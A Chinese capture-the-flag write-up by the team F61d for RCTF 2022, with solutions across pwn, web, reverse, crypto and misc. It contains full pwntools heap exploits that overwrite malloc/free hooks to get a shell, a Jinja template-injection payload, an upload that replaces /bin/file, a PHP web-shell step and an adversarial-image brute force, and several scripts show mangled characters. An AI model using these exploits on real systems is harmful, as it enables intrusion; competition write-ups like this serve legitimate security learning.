RCTF 2022 WriteUp By F61d

WriteUp 2个月前 admin
591 0 0

x嗷呜~师傅点个关注嘛喵~好好不好嘛喵~ — Wp滞销,帮帮探姬吧喵~

RCTF 2022 WriteUp By F61d

本届RCTF 2022是由XCTF联赛的合作单位ROIS(Researcher Of In-formation Security)战队组织,由赛宁网安提供技术支持。作为第八届XCTF国际联赛的先导分站赛,本次比赛将采用在线网络安全夺旗挑战赛的形式,面向全球开放。 

经过师傅们48小时的不断努力,我们获得了第16名的成绩~

RCTF 2022 WriteUp By F61d

最后榜单:

RCTF 2022 WriteUp By F61d


PWN

Game

非预期

RCTF 2022 WriteUp By F61d
img

Diary

delete函数存在uaf,可以利用这个特点来泄露libc和改fd,堆风水比较复杂,造出tcache和unsorted bin重合后,利用encrypt函数里的calloc机制可以改fd,打mallochook即可

from pwn import *

#p = process('./diary')
p=remote('119.13.105.35',10111)
libc=ELF('./libc-2.31.so')

context.log_level = 'debug'
context.arch = 'amd64'
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def add(idx,cont):
    payload='add#200#11#29#11#30#'+str(idx)+'#'+cont
    sla('input your test cmd:',payload)
def edit(idx,cont):
    payload='update#'+str(idx)+'#'+cont
    sla('input your test cmd:', payload)
def show(idx):
    payload='show#'+str(idx)
    sla('input your test cmd:', payload)
def delete(idx):
    payload='delete#'+str(idx)
    sla('input your test cmd:', payload)
def encrypt(idx,offset,lengt):
    payload='encrypt#'+str(idx)+'#'+str(offset)+'#'+str(lengt)
    sla('input your test cmd:', payload)
def decrypt(idx):
    payload='decrypt#'+str(idx)
    sla('input your test cmd:', payload)
add(0,b'1'*0x2f0)
encrypt(0,4,8)
show(0)
key=u64(p.recvuntil('1111')[-12:-4])
random0=key^0x3131313131313131
info('key->'+hex(random0))
add(2,b'd'*0x2f0)
add(3,b'c'*0x2f0)
add(4,b'eee')
delete(0)
add(1,b'ccc')
delete(1)
edit(1,b'aaaa')
delete(1)
show(1)
ru('n')
ru('n')
heapbase=u64(p.recv(6).ljust(8,b'x00'))-0x127b0
info('heap->'+hex(heapbase))
delete(1)
delete(0)
for i in range(12):
    add(4+i,p64(heapbase+0x10)*0x60)
for i in range(0,6):
    delete(10-i)

delete(0)
edit(3,b'a'*0x10)
delete(0)
show(2)
ru('n')
ru('n')
libcbase=u64(p.recv(6).ljust(8,b'x00'))-0x1ecbe0
info('libc->'+hex(libcbase))
system=libcbase+libc.sym['system']
ogg = libcbase+0xe3b01
freehook=libcbase+libc.sym['__malloc_hook']
# info('free->'+hex(freehook))

edit(0,p64(freehook-0x2ec))
encrypt(0,4,0x6)



add(0x21,b'a'*0x2e8+p64(ogg))
# gdb.attach(p,'b free')
edit(0,'a'*0x300)


p.interactive()

ez_atm:

改一下client的代码,把stat_query改了,就能泄露栈上的libc地址,然后利用fastbin中的chunk,fd和bk都已知的特点login到fastbin中的chunk,然后修改fd为free_hook,然后利用fastbin reverse into tcache将free_hook链入tcache,修改free_hook为system即可执行任意命令,通过执行cat flag >&4将flag通过ez_atm里的send函数带回到client,最后拿到flag。

from pwn import *
from ctypes import *
import struct
#context.log_level = 'debug'
#io=process(["./qemu-arm-static", "-g", "1234", "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io=process(["qemu-arm",  "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io = process('./pwn')
context.arch='amd64'
io=process(['./client','139.9.242.36','4445'])
#io=process(['./client','127.0.0.1','3339'])
#io = remote('127.0.0.1',3339)
libc = ELF('./libc-2.27.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s            : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4b'x00'))
uu64 = lambda data        : u64(data.ljust(8b'x00'))
def menu(choice):
    sla("your choice :     ",choice)
def add(id,passwd,money):
    menu("new_account"
    sla("please input the account id",id)
    sla("please input the password",passwd)
    sla("please input the money",str(money))
def free(passwd):            
    menu("cancellation")
    sla("please enter the password",passwd)
def exit_count():
    menu("exit_account")
def login(account,passwd):
    menu("login")
    sla("please input the account id",account)
    sla("please input the password",passwd)
def push_money(passwd,money):
    menu("withdraw_money")
    sla("Please enter the withdrawal amount.",str(money))
    sla("please input your pasword.",passwd)
def update_passwd(passwd,old_pwd):
    menu("update_pwd")
    sla("please entet  a new password",passwd)
    sla("please input your pasword.",old_pwd)
""" add('a'*8,'b'*8,0x80000005-9999999)
push_money('b'*8,0x80000004-9999999)
menu("I'm vip!") """

#gdb.attach(io,'b*$rebase(0x19b9)'
add('a'*0,'b'*8,120)
menu('stat_query')
libcbase=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))-(0x7ffff7a03c87-0x7ffff79e2000)
lg("libcbase")
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
exit_count()
for i in range(1,8):
    add('a'*i,'b'*8,120)
    exit_count()
for i in range(8):
    login('a'*i,'b'*8)
    free('b'*8)
login('a'*7,'x00')
update_passwd(p64(free_hook-0x10),'x00')
exit_count()

add('>&4 ','cat flag',120)
exit_count()

for i in range(7):
    add('b'*i,'nc 1.117',120)
    exit_count()
add('c',p64(system),120)
exit_count()
login('>&4 ','cat flag')
free('cat flag')
#menu("query")
irt()
    

ez_money

利用loan里的溢出修改chunk size,泄露libc,泄露堆地址。登录到已知chunk里,修改fd,写free_hook为system

from pwn import *
from ctypes import *
import struct
context.log_level = 'debug'
#io=process(["./qemu-arm-static", "-g", "1234", "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io=process(["qemu-arm",  "-L", '/usr/arm-linux-gnueabi', "./pwn"])
#io = process('./ez_money')
context.arch='amd64'
#io=process(['./client','139.9.242.36','4445'])
#io=process(['./client','127.0.0.1','3339'])
io = remote('110.238.108.112',5200)
libc = ELF('./libc-2.31.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s            : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4b'x00'))
uu64 = lambda data        : u64(data.ljust(8b'x00'))
def menu(choice):
    sla("your choice :     ",choice)
def add(id,passwd,money):
    menu("new_account"
    sla("please input the account id",id)
    sla("please input the password",passwd)
    sla("please input the money",str(money))
def free(passwd):            
    menu("Cancellation")
    sla("please enter the password",passwd)
def exit_count():
    menu("Exit_account")
def login(account,passwd):
    menu("login")
    sla("please input the account id",account)
    sla("please input the password",passwd)
def push_money(passwd,money):
    menu("withdraw_money")
    sla("Please enter the withdrawal amount.",str(money))
    sla("please input your pasword.",passwd)
def update_passwd(passwd,old_pwd):
    menu("Update_info")
    sla("please entet  a new password",passwd)
    sla("please input your password.",old_pwd)
def loan_money(size,context):
    menu("Loan_money")
    sla("Please enter the loan amount (no more than 1 million).n",str(size))
    sla("Please leave your comments.",context)
def back_money(size):
    menu("Repayment")
    sla("How much do you want to repay?",str(size))
for i in range(10):
    add('a'*i,'bbb',120)
    loan_money(0x50,'a'*0x20)
    exit_count()
add('b'*8+p64(0x461)+'a'*0x10,'bbb',120)
loan_money(0x50,'a'*0x10+'b'*8)
exit_count()

for i in range(4):
    add('c'*i,'b',10000000)
    exit_count()
add('d'*0x20,'b'*8,30000000)
exit_count()
login('a'*0x18+'b'*8,'a'*8)
free('a'*8)

login('d'*0x20,'b'*8)
menu("I'm vip!")
libcbase=u64(io.recvuntil('x7f')[-6:].ljust(8,'x00'))-(0x7fbd110d6be0-0x7fbd10eea000)
lg("libcbase")
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
exit_count()
add('1'*0x20,'2'*8,123)
exit_count()
add('9'*0x20,'2'*8,123)
exit_count()
add('3'*0x20,'2'*8,123)
free('2'*8)
login('1'*0x20,'2'*8)
free('2'*8)
login('9'*0x20,'2'*8)
free('2'*8)

login('d'*0x20,'b'*8)
menu("I'm vip!")
ru("b"*8)
io.recv(8)
heap=u64(io.recv(6).ljust(8,'x00'))-(0x55da2877e5d0-0x000055da2877e010)-0x50
lg("heap")
heap1=heap+(0x0000562adfc97580-0x0000562adfc97010)
exit_count()
login(p64(heap)+'9'*0x18,p64(heap1))
update_passwd(p64(free_hook),p64(heap1))
exit_count()
add('4'*0x20,'/bin/shx00',12)
exit_count()
add('6'*0x20,p64(system),12)
exit_count()
login('4'*0x20,'/bin/shx00')
free('/bin/shx00')
#gdb.attach(io)
irt()

Web

filechecker_mini

https://github.com/file/

control file command output then SSTI, because part of the file content is reflected in the output.

Exp:

1. 先制作一个文件1.jpg。内容如下:

#!/{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

2. 上传这个文件,即可得到flag。

filechecker_plus

直接覆盖/bin目录下的file,

file_check_res = subprocess.check_output(
                    ["/bin/file""-b", filepath], 
                    shell=False, 
                    encoding='utf-8',
                    timeout=1
                )

然后当运行file命令的时候,就会直接运行我们写好的脚本进行回显。

POST / HTTP/1.1
Host: 159.138.110.192:23001
Content-Length: 223
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.138.110.192:23001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryryTOLYVBQ6YKrOBw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.110.192:23001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryryTOLYVBQ6YKrOBw
Content-Disposition: form-data; name="file-upload"; filename="/bin/file"
Content-Type: application/octet-stream

#!/bin/sh
cat /flag
------WebKitFormBoundaryryTOLYVBQ6YKrOBw--
RCTF 2022 WriteUp By F61d
img

easy_upload

文件后缀用大写绕过,以base64编码一些垃圾数据,绕过正则匹配,最后跟上一句话木马

RCTF 2022 WriteUp By F61d
img

访问

/upload/f61d.php
RCTF 2022 WriteUp By F61d
img

正常解析,蚁剑连接,在根目录下拿到flag

Reverse

web_run

动调第一次输入2022/11/11 00:54后在判断退出的时候修改值,让他不退出

在执行func15的时候查看参数v0+48的值

RCTF 2022 WriteUp By F61d
img

checkyourkey

主逻辑在native层的ooxx函数

静态注册了有一个ooxx函数,但是动调的时候发现断不下来

后来在JNI_OnLoad中又找到一个动态注册的ooxx函数

主要逻辑为aes,base58,base64

import base64
import base58
from Crypto.Cipher import AES
s = 'SVTsfWzSYGPWdYXodVbvbni6doHzSi=='
table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
table2 = '+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD'
s = s.translate(str.maketrans(table2, table1))
s1 = base64.b64decode(s.encode())
s2 = base58.b58decode(s1)


aes = AES.new(b'goodlucksmartman',AES.MODE_ECB)
print(aes.decrypt(s2))

huowang

走迷宫

*-*********************
* *     *       *     *
* * * * *** * *** * * *
*   * *     * *   * * *
* * * ********* * *** *
* * *     *     * *   *
* * ***** * * ***** * *
*   * *   *         * *
*** * * *** * *** *** *
*   * *   * * *   *   *
* *** *** * * *   *** *
*   * *   * * *     * *
* * * * *** * ***** * *
* *   *         *   * *
* *********** *** * * *
*   *     *       * * *
* ********* ********* *
*   ** ***  *       * *
*   * **** ** ***** * *
*   * *  *    *     * *
* * * * * ***** ***** *
*       *     *       *
*********************-*

在运行的时候先qemu模拟执行了一个新的迷宫,后又走上面的迷宫,对输入下硬件断点发现保存到堆中,跟进逻辑,错的就退出模拟了,不断的试错,于是得到如下的最终path

sssddwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds

RCTF{md5(path)}

RTTT

题目逻辑先把输入顺序给打乱

打乱的顺序懒得逆了,直接动调比对结果

输入42个不同字符

RCTF 2022 WriteUp By F61d
img

打乱后的结果

RCTF 2022 WriteUp By F61d
img

然后再进行秘钥是Welc0me to RCTF 2O22的RC4加密

秘钥是两个数组异或后得到的结果

RCTF 2022 WriteUp By F61d
img

发现一些rc4特征,猜测是rc4,

RCTF 2022 WriteUp By F61d
img

直接解发现是打乱的

RCTF 2022 WriteUp By F61d
img
from Crypto.Cipher import ARC4
rc4 = ARC4.new(b'Welc0me to RCTF 2O22')
t1 = [521941014521819817717371186616959193204215241413657421922121261610212394234942088970225214110941787010749]
f = rc4.decrypt(bytes(t1)).decode()
print(f)
s1 = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTY'
s2 = 'n0mWa8v4bq31zflYohd92yispr7wtTjQRe5Exuc6gk'


dic = {}
for i in range(len(s2)):
    dic[i] = s1.index(s2[i])

f1 = ['' for i in range(42)]
for i in range(len(f)):
    f1[dic[i]] = f[i]
print(''.join(f1))

Crypto

guess

虽然我只出了一个题但我是一血

from pwn import *
from Crypto.Util.number import *

r = remote('190.92.234.114',23334,level='debug')
for i in range(3):
    exec(r.recvline())
r.recvuntil(b'x = ')
k = [long_to_bytes(j) for j in set([U[i]//T[i] for i in range(90)])]
k = k[0].decode()
k = k.split('_')[0] + '_cfrt'
r.sendline(str(bytes_to_long(k.encode())).encode())
print(r.recvall())

orz

Misc

ez_alient

Attachment download address: 
google_drive:https://drive.google.com/file/d/1dMxuUnovWMQ4prwKFYM1wUI5fNEGFKFW/view?usp=share_link
tencent_weiyun_forchina:https://share.weiyun.com/dxv97AK1 password:vdxwju

flag format is like RCTF{*_*_*_*},
Use underline to connect.

提示:New topic description.

解压后得到压缩包、2张bmp图片。

在alien.bmp末尾,发现base64字符串:

cHdkPSJOMGJPZHlfbDB2ZXNfTWUi
--> 解码:pwd="N0bOdy_l0ves_Me"

用这个密码解压压缩包,得到一个pyinstall的可执行程序。

使用pyinstractor逆向:

$ python pyinstxtractor.py alien_invasion.exe

得到:

RCTF 2022 WriteUp By F61d

两个文件。

但是这里struct的头部跟alien_invasion是一样的。

RCTF 2022 WriteUp By F61d
img

找了个之前3.8的头补上了。反编译。在反编译后的文件末尾发现base64字符串。(其他代码就是正常的游戏代码,没有发现问题。)

s = b'VTJreE0yNWpNdz09'

末尾字符串:VTJreE0yNWpNdz09 base64两次解码:Si13nc3

根据提示,猜测还有很多其他字符串。于是逐一找该程序用到的库,发现如下字符串。

settings:         6ut  Tm5WMA==
ship: h01din9 On Si13nT1y YURBeFpHbHVPUT09 VDI0PQ== VTJreE0yNVVNWGs9c
bullet nEvEr YmtWMlJYST0=
alien 15 TVRVPQ==
game_stats up ZFhBPQ==
scoreboard && SmlZPQ==

拼接一下,多次尝试,得到flag:

RCTF{Si13nc3_15_nEvEr_9ivin9_up_&&_6ut_h01din9_On_Si13nT1y}

Ezhook

把System.currentTimeMills函数给hook了

该函数在libjava.so动态注册,实际的函数是libjvm.so里的JVM_CurrentTimeMillis函数

libjava.so:
RCTF 2022 WriteUp By F61d
img
RCTF 2022 WriteUp By F61d
img
libjvm.so:
RCTF 2022 WriteUp By F61d
img

可以hook libjava.so里的函数,也可以直接hooklibjvm.so的导出函数

function  ezhook(){
    var mills = Module.findExportByName("libjvm.so","JVM_CurrentTimeMillis");
    Interceptor.attach(mills,{
        onEnter:function (){},
        onLeave:function (retval){
            retval.replace(1);
            return retval;
        }
    })
}
setImmediate(ezhook)

ezPvZ

第一关,使用CE修改太阳。

第一次精确数值100,使用过一次向日葵后太阳变为50,再次扫描找到数据地址,然后开倍数玩。

RCTF 2022 WriteUp By F61d
img

第二关,使用CE修改豌豆射手的价格

樱桃炸弹和豌豆射手的价格都为150,扫描值150,得到13个数据一个一个尝试找到双豌豆射手和樱桃炸弹的价格位置,然后开倍数玩。

RCTF 2022 WriteUp By F61d
img

第三关和第二关类似找到双豌豆射手的价格位置以后,浏览双豌豆射手的内存区域修改冷却

在内存区块中修改双豌豆射手数据块,21下面的值改为0E就可以直接刷新冷却。通关得到flag

RCTF 2022 WriteUp By F61d
img

K999

通过CE修改KILL拿到key

RCTF 2022 WriteUp By F61d
img

在K999.exe里dump出解密脚本,填入key和s运行后得到flag

function to8(n)
    return n % 256
end

function bxor(a, b)
    local p = 0
    local i = 0
    for i = 071 do
        p = p + 2 ^ i * ((a % 2 + b % 2) % 2)
        a = math.floor(a / 2)
        b = math.floor(b / 2)
        if a == 0 and b == 0 then break end
    end
    return p
end

function encrypt(v, k)
    local sum = 0
    local delta = 0x37
    local i = 0
    for i = 181 do
        sum = to8(sum + delta)
        v[1] = to8(v[1] + to8(bxor(bxor(to8((v[2] * 16) + k[1]), to8(v[2] + sum)), to8(math.floor(v[2] / 32) + k[2]))))
        v[2] = to8(v[2] + to8(bxor(bxor(to8((v[1] * 16) + k[3]), to8(v[1] + sum)), to8(math.floor(v[1] / 32) + k[4]))))
    end
end

function decrypt(v, k)
    local sum = 0xB8
    local delta = 0x37
    local i = 0
    for i = 181 do
        v[2] = to8(v[2] - to8(bxor(bxor(to8((v[1] * 16) + k[3]), to8(v[1] + sum)), to8(math.floor(v[1] / 32) + k[4]))))
        v[1] = to8(v[1] - to8(bxor(bxor(to8((v[2] * 16) + k[1]), to8(v[2] + sum)), to8(math.floor(v[2] / 32) + k[2]))))
        sum = sum - delta
    end
end

function passGen()
    local pw = ""
    local j
    for i = 141 do
        j = math.random(33126)
        if j == 96 then pw = pw .. "_"
        else pw = pw .. string.char(j) end
    end
    return pw
end

function strDecrypt(s, k)
    local b = {}
    local c = {}
    local i
    local j
    j = string.gmatch(k, ".")
    b = { string.byte(j()), string.byte(j()), string.byte(j()), string.byte(j()) }
    j = ""
    for i = 1string.len(s) / 21 do
        c = { string.byte(string.sub(s, i * 2 - 1, i * 2 - 1)), string.byte(string.sub(s, i * 2, i * 2)) }
        decrypt(c, b)
        j = j .. string.char(c[1])
        if c[2] == 0 then break end
        j = j .. string.char(c[2])
    end
    return j
end

function Decrypt()
    local key = "MOON"
    local s = {157,89,215,46,13,189,237,23,241,49,84,146,248,150,138,183,119,52,34,174,146,132,225,192,5,220,221,176,184,218,19,87,249,122}
    flag = ""
    for i = 1, #s, 1 do
        flag = flag .. string.char(s[i])
    end
    flag = strDecrypt(flag, key)
    print(flag)
end
Decrypt()

CatSpy

首先在本地配一下环境,利用逐个像素点进行爆破。根据浅显的人工智能知识可以知道,一般的卷积神经网络处理图像识别是将颜色分为R,G,B三个通道判断。可以让三个通道的值取极大或者极小值,即对于三原色的噪声干扰对于图像识别的影响最大。对于每个像素点的每个颜色通道爆破0和255两个值就行了。

由于多线程的回显比较混乱,所以采用手动多进程爆破,分成6个for分别爆破,预计最慢5个小时就搞定了。

from torchvision.models import resnet50, ResNet50_Weights
from PIL import Image
from flag import flag
import time

def divide(img):
  # Step 1: Initialize model with the best available weights
  weights = ResNet50_Weights.DEFAULT
  model = resnet50(weights=weights)
  model.eval()

  # Step 2: Initialize the inference transforms
  preprocess = weights.transforms()

  # Step 3: Apply inference preprocessing transforms
  batch = preprocess(img).unsqueeze(0)

  # Step 4: Use the model and print the predicted category
  prediction = model(batch).squeeze(0).softmax(0)
  class_id = prediction.argmax().item()
  score = prediction[class_id].item()
  category_name = weights.meta["categories"][class_id]
  return category_name,score

img=Image.open("1.png")

def attack2(x,y):
    li = []
    #with open ("1/"+str(x)+','+str(y)+','+','+'file.txt',mode ="a") as a:
    
    for r in (0,255):
        for g in (0,255):
            for b in (0,255):
                
                img.putpixel((x, y),(r, g, b))
                img.convert('RGB')  #转换为RGB格式
                category_name,score = divide(img)
                if category_name == 'tabby' or "cat" in category_name:
                    #a.write(str(r)+','+str(g)+','+str(b)+','+" "+str(score)+"n")
                    li.append(score)
                    print(str(r)+','+str(g)+','+str(b)+','+" "+str(score),"  min:",min(li))
                else:
                    print(flag," ",r," ",g," ",b)
                    time.sleep(10000)

#for x in range(0,10):
#for x in range(10,20):
#for x in range(20,30):
#for x in range(30,40):
#for x in range(40,50):
for x in range(50,60):  
    for y in range(0,60):
        attack2(x,y)
RCTF 2022 WriteUp By F61d
img

而后去看看文件夹生成的文件可以得知,30,9改成0,0,255即可

from PIL import Image
import requests
import threading

img=Image.open("1.png")

def attack1():
    img=Image.open("1.png")
    img.putpixel((30, 9),(0, 0, 255))
    img.convert('RGB')  #转换为RGB格式
    img.save('2.png')
    url = 'http://190.92.236.197:8888/upload'
    files = {
        'file':('2.png',
        open('2.png','rb'),
        'image/png'
        )
    }
    re = requests.post(url=url,files=files)
    if 'RCTF{' in re.text:
        with open("flag.txt",mode = "w") as file:
            file.write(re.text)
        print(re.text)
    
    text = re.text[re.text.find('br'):]
    print(text[text.find('<h1>')+4:text.find('</h1>')])

attack1()
RCTF 2022 WriteUp By F61d
img

Checkin

签到题

RCTF 2022 WriteUp By F61d
img

Feedback

问卷题 做了就行

最后,感谢ROIS的师傅们提供的高质量有趣赛题,以及感谢萌猫师傅的邀请x

RCTF 2022 WriteUp By F61d

F61d的队员们将继续努力和学习,相信我们能在接下来的比赛中取得更好的成绩。

原文始发于微信公众号(笨猪实验室):RCTF 2022 WriteUp By F61d

版权声明:admin 发表于 2022年12月13日 上午9:01。
转载请注明:RCTF 2022 WriteUp By F61d | CTF导航

相关文章

暂无评论

暂无评论...